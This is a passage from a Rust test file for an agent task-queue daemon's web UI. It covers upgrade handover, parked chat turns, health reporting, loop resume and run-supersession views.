15012 "entered",
15013 "finish_loop",
15014 "listener released",
15015 "starting the successor",
15016 ] {
15017 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15018 }
15019 assert!(
15020 log.contains(if fail { "did not start" } else { "pid 4242" }),
15021 "{log}"
15022 );
15023 }
15024 }
15025
15026 #[tokio::test]
15029 async fn the_handover_signal_wakes_one_waiter_once() {
15030 let signal = Notify::new();
15031 signal.notify_one();
15033 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15034 .await
15035 .expect("an early signal is still seen");
15036 assert!(
15038 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15039 .await
15040 .is_err(),
15041 "a consumed signal must not wake a second time"
15042 );
15043 let signal = std::sync::Arc::new(signal);
15045 let waiter = tokio::spawn({
15046 let signal = std::sync::Arc::clone(&signal);
15047 async move { wait_for_handover(&signal).await }
15048 });
15049 tokio::time::sleep(Duration::from_millis(20)).await;
15050 assert!(!waiter.is_finished(), "nothing was signalled yet");
15051 signal.notify_one();
15052 tokio::time::timeout(Duration::from_secs(5), waiter)
15053 .await
15054 .expect("a late signal wakes the waiter")
15055 .expect("join");
15056 }
15057
15058 #[tokio::test]
15059 async fn health_says_how_long_a_handover_has_been_stuck() {
15060 let fx = Fixture::start().await;
15061 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15062 progress.advance(crate::updater::Stage::Replaced);
15063 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15064 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15065
15066 let health = fx.get("/api/health").await.json();
15067 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15068 assert!(stuck >= 600, "{stuck}");
15069 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15070 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15071 }
15072
15073 #[tokio::test]
15074 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15075 let home = tempfile::tempdir().expect("temp home");
15076 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15077 progress.advance(crate::updater::Stage::Parking);
15078 crate::updater::write_progress(home.path(), &progress).expect("seed");
15079 let mut again = progress.clone();
15081 again.advance(crate::updater::Stage::Replaced);
15082 crate::updater::write_progress(home.path(), &again).expect("replaced");
15083 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15084 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15085 let after = crate::updater::read_progress(home.path()).expect("record");
15086 assert_eq!(after.stage, crate::updater::Stage::Parking);
15087 }
15088
15089 #[tokio::test]
15090 async fn health_does_not_call_a_live_parking_wait_stuck() {
15091 let fx = Fixture::start().await;
15092 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15093 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15094 progress.advance(crate::updater::Stage::Parking);
15095 let hours = Duration::from_secs(3 * 3600);
15096 progress.started_at = Timestamp::now() - hours;
15097 progress.updated_at = Timestamp::now() - hours;
15098 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15099 let _lease = crate::updater::LeaseGuard::enter(
15100 fx.home.path(),
15101 Some("20260905-000000-cd51".to_owned()),
15102 );
15103
15104 let health = fx.get("/api/health").await.json();
15105 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15106 assert!(health["upgrade"]["stuck_kind"].is_null());
15107 assert_eq!(health["upgrade"]["handover_alive"], true);
15108 let waiting_on = health["upgrade"]["waiting_on"]
15109 .as_str()
15110 .expect("waiting_on");
15111 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15112 }
15113
15114 fn idle_ui(home: &TempDir) -> Ui {
15115 let runs = home.path().join("runs");
15116 std::fs::create_dir_all(&runs).expect("runs dir");
15117 Ui::new(
15118 Queue::at(home.path().join("queue")),
15119 Questions::at(home.path().join("questions")),
15120 Talks::at(home.path().join("talks")),
15121 runs,
15122 home.path().to_path_buf(),
15123 PathBuf::from("/repo/magi"),
15124 )
15125 .with_launch(launch_idle)
15126 }
15127
15128 async fn park_fixture(
15129 home: &TempDir,
15130 ) -> (
15131 Ui,
15132 Arc<Mutex<LoopState>>,
15133 Arc<Mutex<TalkTurns>>,
15134 tokio::task::JoinHandle<std::io::Result<()>>,
15135 ) {
15136 let ui = idle_ui(home);
15137 let looping = ui.looping();
15138 let turns = ui.turns();
15139 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15140 .await
15141 .expect("bind loopback");
15142 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15143 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15144 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15145 (ui, looping, turns, served)
15146 }
15147
15148 #[tokio::test]
15152 async fn hand_over_waits_for_a_running_chat_turn() {
15153 let home = TempDir::new().expect("temp home");
15154 let (ui, looping, turns, served) = park_fixture(&home).await;
15155 let ui = Arc::new(ui);
15156 let id = "20260901-000000-chat";
15157 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15158
15159 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15160 let handover = tokio::spawn({
15161 let home = home.path().to_path_buf();
15162 let turns = Arc::clone(&turns);
15163 let calls = Arc::clone(&calls);
15164 async move {
15165 hand_over(
15166 &home,
15167 &looping,
15168 &turns,
15169 &|_: &[String]| Duration::from_secs(60),
15170 served,
15171 move |_| {
15172 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15173 Ok(1)
15174 },
15175 )
15176 .await
15177 }
15178 });
15179
15180 let waiting = async {
15181 for _ in 0..200 {
15182 if crate::updater::read_progress(home.path())
15183 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15184 {
15185 return;
15186 }
15187 tokio::time::sleep(Duration::from_millis(25)).await;
15188 }
15189 panic!("the park never named the chat turn");
15190 };
15191 waiting.await;
15192 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15193
15194 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15197 assert!(
15198 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15199 "a direct start says an upgrade is in progress"
15200 );
15201 assert!(
15202 ui.begin_queued_talk_turn("20260901-000000-late")
15203 .expect("queued claim")
15204 .is_none()
15205 );
15206 assert!(matches!(
15207 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15208 .expect("start"),
15209 TalkTurnStart::Busy
15210 ));
15211 assert_eq!(turns.lock().unwrap().live.len(), 1);
15212
15213 let progress = crate::updater::read_progress(home.path()).expect("progress");
15215 let view = upgrade_progress_view(&ui, progress);
15216 assert!(
15217 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15218 "{:?}",
15219 view.waiting_on
15220 );
15221
15222 assert!(!handover.is_finished());
15223 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15224 drop(turn);
15225 handover.await.expect("join").expect("hand over");
15226 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15227 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15228 }
15229
15230 #[tokio::test]
15233 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15234 let home = TempDir::new().expect("temp home");
15235 let (ui, looping, turns, served) = park_fixture(&home).await;
15236 let id = "20260901-000000-stuk";
15237 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15238
15239 let calls = std::sync::atomic::AtomicUsize::new(0);
15240 hand_over(
15241 home.path(),
15242 &looping,
15243 &turns,
15244 &|_: &[String]| Duration::from_millis(300),
15245 served,
15246 |_| {
15247 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15248 Ok(1)
15249 },
15250 )
15251 .await
15252 .expect("hand over");
15253 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15254
15255 let progress = crate::updater::read_progress(home.path()).expect("progress");
15256 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15257 assert!(
15258 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15259 "{:?}",
15260 progress.detail
15261 );
15262 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15263 assert!(
15264 log.contains("handing over anyway") && log.contains(id),
15265 "{log}"
15266 );
15267 }
15268
15269 #[tokio::test]
15272 async fn drain_loop_starts_no_turn_while_parking() {
15273 let tmp = TempDir::new().expect("tempdir");
15274 let repo = tmp.path().join("repo");
15275 std::fs::create_dir_all(&repo).expect("repo dir");
15276 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15277 let home = TempDir::new().expect("temp home");
15278 let talks = Talks::at(home.path().join("talks"));
15279 let ui = Ui::new(
15280 Queue::at(home.path().join("queue")),
15281 Questions::at(home.path().join("questions")),
15282 talks.clone(),
15283 home.path().join("runs"),
15284 home.path().to_path_buf(),
15285 repo.clone(),
15286 )
15287 .with_worktrees_root(home.path().join("wt"));
15288 let cfg = config_for(&repo).await.expect("discover config");
15289 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15290 let id = talk.id.clone();
15291 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15292 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15293 let turns = ui.turns();
15294 let parking = ParkingTurns::begin(&turns);
15295
15296 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15297
15298 assert!(
15299 turns.lock().unwrap().live.is_empty(),
15300 "the slot is given up"
15301 );
15302 let fresh = talks.get(&id).expect("talk");
15303 assert_eq!(fresh.pending, "later", "the draft is still queued");
15304 assert!(fresh.turns.is_empty(), "no turn ran");
15305 drop(parking);
15306 }
15307
15308 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15310 let looping = ui.looping();
15311 let turns = ui.turns();
15312 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15313 .await
15314 .expect("bind loopback");
15315 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15316 let told = std::sync::Mutex::new(None);
15317 hand_over(
15318 home.path(),
15319 &looping,
15320 &turns,
15321 &|_: &[String]| Duration::from_secs(5),
15322 served,
15323 |resume| {
15324 *told.lock().unwrap() = Some(resume);
15325 Ok(1)
15326 },
15327 )
15328 .await
15329 .expect("hand over");
15330 told.into_inner().unwrap().expect("successor was started")
15331 }
15332
15333 #[tokio::test]
15334 async fn a_running_loop_is_resumed_by_the_successor() {
15335 let home = TempDir::new().expect("temp home");
15336 let ui = idle_ui(&home);
15337 ui.start_loop(None).expect("start");
15338 ui.park_for_upgrade().expect("park");
15339 for _ in 0..500 {
15341 if !ui.loop_view(None).running {
15342 break;
15343 }
15344 tokio::time::sleep(Duration::from_millis(2)).await;
15345 }
15346 assert!(handed_over(&home, ui).await, "a running loop must resume");
15347
15348 let successor = idle_ui(&home);
15349 assert!(!successor.loop_view(None).running);
15350 assert!(successor.resume_after_handover(true));
15351 assert!(successor.loop_view(None).running);
15352 successor.stop_loop(None, false).expect("stop");
15353 }
15354
15355 #[tokio::test]
15356 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15357 let home = TempDir::new().expect("temp home");
15358 let ui = idle_ui(&home);
15359 ui.start_loop(None).expect("start");
15360 ui.park_for_upgrade().expect("first park");
15361 ui.park_for_upgrade().expect("second park");
15362 assert!(handed_over(&home, ui).await);
15363 }
15364
15365 #[tokio::test]
15366 async fn a_stop_during_the_handover_wait_is_honoured() {
15367 let home = TempDir::new().expect("temp home");
15368 let ui = idle_ui(&home);
15369 ui.start_loop(None).expect("start");
15370 ui.park_for_upgrade().expect("park");
15371 ui.stop_loop(None, false).expect("stop");
15372 assert!(!handed_over(&home, ui).await);
15373 }
15374
15375 #[tokio::test]
15376 async fn an_idle_loop_stays_stopped_across_the_handover() {
15377 let home = TempDir::new().expect("temp home");
15378 let ui = idle_ui(&home);
15379 ui.park_for_upgrade().expect("park");
15380 assert!(!handed_over(&home, ui).await);
15381
15382 let successor = idle_ui(&home);
15383 assert!(!successor.resume_after_handover(false));
15384 assert!(!successor.loop_view(None).running);
15385 }
15386
15387 #[tokio::test]
15388 async fn a_loop_the_operator_stopped_is_not_resumed() {
15389 let home = TempDir::new().expect("temp home");
15390 let ui = idle_ui(&home);
15391 ui.start_loop(None).expect("start");
15392 ui.stop_loop(None, false).expect("stop");
15393 ui.park_for_upgrade().expect("park");
15394 assert!(!handed_over(&home, ui).await);
15395 }
15396
15397 #[test]
15398 fn only_an_explicit_one_requests_a_resume() {
15399 assert!(!resume_requested(None));
15400 assert!(!resume_requested(Some("0".into())));
15401 assert!(!resume_requested(Some("".into())));
15402 assert!(resume_requested(Some("1".into())));
15403 }
15404
15405 #[test]
15406 fn the_upgrade_button_arms_before_it_restarts_anything() {
15407 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15410 assert!(APP_JS.contains("Replace the binary and restart?"));
15411 assert!(APP_JS.contains("function confirmed("));
15412 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15417 assert!(
15421 APP_JS.contains("Parking, then restarting"),
15422 "the button says what it is waiting for"
15423 );
15424 assert!(APP_JS.contains("if (!out.to)"));
15427 }
15428
15429 #[test]
15430 fn stopping_the_loop_arms_but_starting_does_not() {
15431 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15434 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15435 assert!(APP_JS.contains("confirmed(button, question)"));
15436 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15439 assert!(APP_JS.contains("const label = btn.textContent;"));
15440 assert!(!APP_JS.contains("Neither direction is guarded"));
15441 }
15442
15443 #[test]
15444 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15445 assert!(
15446 APP_JS.contains("state.health.version"),
15447 "the operator wants to know what is running even with nothing newer"
15448 );
15449 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15450 }
15451
15452 #[test]
15453 fn the_upgrade_button_names_its_destination() {
15454 assert!(
15455 APP_JS.contains("`Update to ${update.to}`"),
15456 "pressing the button should not be a surprise about what it moves to"
15457 );
15458 }
15459
15460 #[test]
15461 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15462 for stage in ["downloading", "replaced", "parking", "restarting"] {
15463 assert!(
15464 APP_JS.contains(&format!("\"{stage}\"")),
15465 "the phone must be able to tell {stage} apart from the others"
15466 );
15467 }
15468 assert!(APP_JS.contains(".waiting_on"));
15469 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15474 assert!(APP_JS.contains("reconnects on its own"));
15475 }
15476
15477 #[test]
15478 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15479 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15488 ..APP_JS.find("function upgrade(").expect("upgrade")];
15489 assert!(
15490 !body.contains(
15491 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15492 ),
15493 "a failed upgrade must not take the whole strip over the way it used to"
15494 );
15495 assert!(
15496 body.contains("upgradeFailNote"),
15497 "the failure has to reach the loop's own note instead"
15498 );
15499 assert_eq!(
15503 body.matches("upgradeFailNote].filter(Boolean).join")
15504 .count(),
15505 2,
15506 "both loop-why writers (quiet and control) must fold the note in"
15507 );
15508 }
15509
15510 #[test]
15511 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15512 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15515 assert!(APP_JS.contains("function upgradeOverdue("));
15516 }
15517
15518 #[test]
15519 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15520 assert!(
15521 APP_JS.contains("Updated to ${upgradeInfo.to"),
15522 "the operator who asked for the restart wants to know it worked"
15523 );
15524 }
15525
15526 #[test]
15527 fn an_error_is_visible_from_where_the_button_is() {
15528 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15533 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15534 assert!(
15535 alert.contains("position: fixed"),
15536 "an error about the thing under your thumb has to be visible from \
15537 where your thumb is: {alert}"
15538 );
15539 assert!(
15540 alert.contains("z-index: 25"),
15541 "above the dock (20) and the run-actions FAB (15), so neither \
15542 buries it: {alert}"
15543 );
15544 assert!(
15545 alert.contains("var(--tap)"),
15546 "and clear of the dock and the home indicator: {alert}"
15547 );
15548 assert!(
15551 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15552 "the FAB's column stays free: {alert}"
15553 );
15554 }
15555
15556 #[tokio::test]
15557 async fn an_older_attempt_says_what_replaced_it() {
15558 let fx = Fixture::start().await;
15559 let q = fx.queue();
15560 let runs = fx.runs();
15561 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15562 write_run(&runs, first, RunStatus::Stalled);
15563 write_run(&runs, second, RunStatus::Blocked);
15564
15565 let mut t = Task::new(
15566 "one task".to_owned(),
15567 "do it".to_owned(),
15568 PathBuf::from("/repo"),
15569 Source::Human,
15570 );
15571 t.runs = vec![first.to_owned(), second.to_owned()];
15572 q.put(&mut t).expect("put");
15573
15574 let rows = fx.get("/api/runs").await.json();
15578 let by = |short: &str| -> Value {
15579 rows.as_array()
15580 .unwrap()
15581 .iter()
15582 .find(|r| r["short"] == short)
15583 .cloned()
15584 .unwrap_or(Value::Null)
15585 };
15586 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15587 assert!(
15588 by("bbbb")["superseded_by"].is_null(),
15589 "the latest attempt is not superseded by anything"
15590 );
15591 assert!(APP_JS.contains("run.superseded_by"));
15593 assert!(APP_JS.contains("Superseded by"));
15594 }
15595
15596 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15597 let mut t = Task::new(
15598 "one task".to_owned(),
15599 "do it".to_owned(),
15600 PathBuf::from("/repo"),
15601 Source::Human,
15602 );
15603 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15604 t.status = status;
15605 t
15606 }
15607
15608 #[test]
15609 fn source_link_picks_the_page_that_filed_the_task() {
15610 let agent = |node: &str| Source::Agent {
15611 run: "20260904-014455-ab12".to_owned(),
15612 node: node.to_owned(),
15613 };
15614 let chat = source_link(&agent("chat")).expect("chat link");
15615 assert_eq!(chat.kind, "chat");
15616 assert_eq!(chat.id, "20260904-014455-ab12");
15617 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15618 let run = source_link(&agent("implement")).expect("run link");
15619 assert_eq!(
15620 (run.kind, run.href.as_str()),
15621 ("run", "#/runs/20260904-014455-ab12")
15622 );
15623 assert_eq!(source_link(&Source::Human), None);
15624 assert_eq!(
15625 source_link(&Source::Issue {
15626 number: 3,
15627 repo: "o/r".to_owned()
15628 }),
15629 None
15630 );
15631 let odd = source_link(&Source::Agent {
15632 run: "a b/c".to_owned(),
15633 node: "chat".to_owned(),
15634 })
15635 .expect("link");
15636 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15637 }
15638
15639 #[test]
15640 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15641 assert!(
15642 !APP_JS.contains("src.node === \"chat\""),
15643 "inline href rule is back"
15644 );
15645 assert!(
15646 APP_JS.matches("sourceLinkOf(").count() >= 4,
15647 "helper must serve every page"
15648 );
15649 assert!(
15650 APP_JS.matches("openChatLink(").count() >= 3,
15651 "the run page still needs its explicit chat link"
15652 );
15653 assert!(
15654 !APP_JS.contains("const openChat = el("),
15655 "the Queue card duplicates its source label link again"
15656 );
15657 assert!(
15658 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15659 "the task page must link a chat source label too"
15660 );
15661 }
15662
15663 #[test]
15664 fn task_ref_carries_the_source_link_for_a_chat_task() {
15665 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15666 t.source = Source::Agent {
15667 run: "20260904-014455-ab12".to_owned(),
15668 node: "chat".to_owned(),
15669 };
15670 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15671 let v = serde_json::to_value(&out).expect("json");
15672 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15673 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15674 assert_eq!(v["source_label"], t.source.label());
15675
15676 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15677 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15678 .expect("json");
15679 assert!(v["source_link"].is_null(), "{v}");
15680 }
15681
15682 #[test]
15683 fn task_view_serializes_source_link() {
15684 let mut t = Task::new(
15685 "t".to_owned(),
15686 "t".to_owned(),
15687 PathBuf::from("/repo"),
15688 Source::Agent {
15689 run: "20260901-000000-aaaa".to_owned(),
15690 node: "implement".to_owned(),
15691 },
15692 );
15693 t.runs.clear();
15694 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15695 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15696 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15697 }
15698
15699 #[tokio::test]
15700 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15701 let fx = Fixture::start().await;
15702 let runs = fx.runs();
15703 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15704 write_run(&runs, old, RunStatus::Blocked);
15705 write_run(&runs, new, RunStatus::Merged);
15706 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15707 fx.queue().put(&mut t).expect("put");
15708
15709 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15710 let task = &view["task"];
15711 assert_eq!(task["status"], "done");
15712 assert_eq!(task["is_latest"], false);
15713 assert_eq!(task["latest"]["short"], "bbbb");
15714 assert_eq!(task["finished_by"]["id"], new);
15715 assert_eq!(task["finished_by"]["outcome"], "merged");
15716 assert_eq!(task["closed_by_hand"], false);
15717 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15718 assert!(APP_JS.contains("finished_by"));
15719 assert!(APP_JS.contains("superseded by run"));
15720 }
15721
15722 #[tokio::test]
15723 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15724 let fx = Fixture::start().await;
15725 let runs = fx.runs();
15726 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15727 write_run(&runs, old, RunStatus::Stalled);
15728 write_run(&runs, new, RunStatus::Blocked);
15729 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15730 fx.queue().put(&mut t).expect("put");
15731
15732 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15733 assert_eq!(task["status"], "held");
15734 assert_eq!(task["is_latest"], true);
15735 assert!(task["latest"].is_null());
15736 assert!(task["finished_by"].is_null());
15737 assert_eq!(task["closed_by_hand"], false);
15738 }
15739
15740 #[tokio::test]
15741 async fn a_direct_run_has_no_task_outcome() {
15742 let fx = Fixture::start().await;
15743 let runs = fx.runs();
15744 let id = "20260901-000000-aaaa";
15745 write_run(&runs, id, RunStatus::Blocked);
15746 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15747 assert!(view["task"].is_null());
15748 }
15749
15750 #[test]
15751 fn task_outcome_does_not_guess_a_finishing_run() {
15752 let a = "20260901-000000-aaaa";
15753 let b = "20260901-000000-bbbb";
15754 let c = "20260901-000000-cccc";
15755 let dir = tempfile::tempdir().expect("tempdir");
15756 write_run(dir.path(), a, RunStatus::Blocked);
15757 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15758 let read = |id: &str| read_run(dir.path(), id).ok();
15760 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15763 let out = task_outcome(&t, a, 3, read);
15764 assert!(out.finished_by.is_none());
15765 assert!(out.closed_by_hand);
15766 let latest = out.latest.expect("latest");
15767 assert_eq!(latest.id, c);
15768 assert_eq!(latest.status, None);
15769 assert_eq!(latest.outcome, "record unreadable");
15770
15771 write_run(dir.path(), c, RunStatus::Ready);
15773 let t = outcome_task(&[a, c], TaskStatus::Done);
15774 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15775 assert_eq!(out.finished_by.expect("finisher").id, c);
15776 assert!(!out.closed_by_hand);
15777
15778 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15780 assert!(task_outcome(&t, a, 3, read).is_latest);
15781 }
15782
15783 #[tokio::test]
15784 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15785 let fx = Fixture::start().await;
15790 let q = fx.queue();
15791 let runs = fx.runs();
15792 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15793 write_run(&runs, first, RunStatus::Blocked);
15794 write_run(&runs, second, RunStatus::Merged);
15795
15796 let mut t = Task::new(
15797 "one task".to_owned(),
15798 "do it".to_owned(),
15799 PathBuf::from("/repo"),
15800 Source::Human,
15801 );
15802 t.runs = vec![first.to_owned(), second.to_owned()];
15803 q.put(&mut t).expect("put");
15804
15805 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15806 assert_eq!(earlier["superseded_by"], "dddd");
15807 assert_eq!(earlier["latest_attempt"]["id"], second);
15808 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15809 assert_eq!(
15810 earlier["latest_attempt"]["resolved"], true,
15811 "the run that replaced it landed, so this one reads as settled"
15812 );
15813
15814 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15815 assert!(
15816 later["superseded_by"].is_null(),
15817 "the latest attempt is not superseded by anything"
15818 );
15819 assert!(
15820 later["latest_attempt"].is_null(),
15821 "the latest attempt has no later attempt of its own"
15822 );
15823
15824 assert!(APP_JS.contains("run.latest_attempt"));
15831 assert!(APP_JS.contains("data-superseded"));
15832 assert!(APP_JS.contains("#/runs/${latest.id}"));
15833 }
15834
15835 #[tokio::test]
15836 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15837 let fx = Fixture::start().await;
15843 let q = fx.queue();
15844 let runs = fx.runs();
15845 let (a, b, c) = (
15846 "20260901-000000-aaaa",
15847 "20260901-000000-bbbb",
15848 "20260901-000000-cccc",
15849 );
15850 write_run(&runs, a, RunStatus::Blocked);
15851 write_run(&runs, b, RunStatus::Blocked);
15852 write_run(&runs, c, RunStatus::Merged);
15853
15854 let mut t = Task::new(
15855 "retried twice".to_owned(),
15856 "do it".to_owned(),
15857 PathBuf::from("/repo"),
15858 Source::Human,
15859 );
15860 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15861 q.put(&mut t).expect("put");
15862
15863 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15864 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15865 assert_eq!(
15866 view["latest_attempt"]["id"], c,
15867 "the chain's current head, not the intermediate Blocked retry"
15868 );
15869 assert_eq!(view["latest_attempt"]["resolved"], true);
15870
15871 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15872 assert_eq!(mid["latest_attempt"]["id"], c);
15873 assert_eq!(mid["latest_attempt"]["resolved"], true);
15874 }
15875
15876 #[tokio::test]
15877 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15878 let fx = Fixture::start().await;
15879 let q = fx.queue();
15880 let runs = fx.runs();
15881
15882 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15885 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15886 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15887 let mut t1 = Task::new(
15888 "still stuck".to_owned(),
15889 "do it".to_owned(),
15890 PathBuf::from("/repo"),
15891 Source::Human,
15892 );
15893 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15894 q.put(&mut t1).expect("put");
15895 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15896 assert_eq!(view1["latest_attempt"]["resolved"], false);
15897 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15898 assert_eq!(view1["latest_attempt"]["done"], true);
15899
15900 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15902 write_run(&runs, run_a, RunStatus::Blocked);
15903 write_run(&runs, run_b, RunStatus::Implementing);
15904 let mut t3 = Task::new(
15905 "retrying".to_owned(),
15906 "do it".to_owned(),
15907 PathBuf::from("/repo"),
15908 Source::Human,
15909 );
15910 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15911 q.put(&mut t3).expect("put");
15912 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15913 assert_eq!(view3["latest_attempt"]["id"], run_b);
15914 assert_eq!(view3["latest_attempt"]["resolved"], false);
15915 assert_eq!(view3["latest_attempt"]["done"], false);
15916
15917 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15922 write_run(&runs, noop_a, RunStatus::Blocked);
15923 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15924 let mut t2 = Task::new(
15925 "claims done".to_owned(),
15926 "do it".to_owned(),
15927 PathBuf::from("/repo"),
15928 Source::Human,
15929 );
15930 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15931 q.put(&mut t2).expect("put");
15932 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15933 assert_eq!(
15934 view2["latest_attempt"]["resolved"], false,
15935 "an unverified no-op claim must not read as a confirmed finish"
15936 );
15937
15938 assert!(APP_JS.contains("latest.resolved"));
15941 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15944 assert!(APP_JS.contains("Latest attempt: "));
15945 assert!(APP_JS.contains("in flight"));
15946 assert!(APP_JS.contains("not resolved"));
15947 }
15948
15949 #[tokio::test]
15950 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15951 let fx = Fixture::start().await;
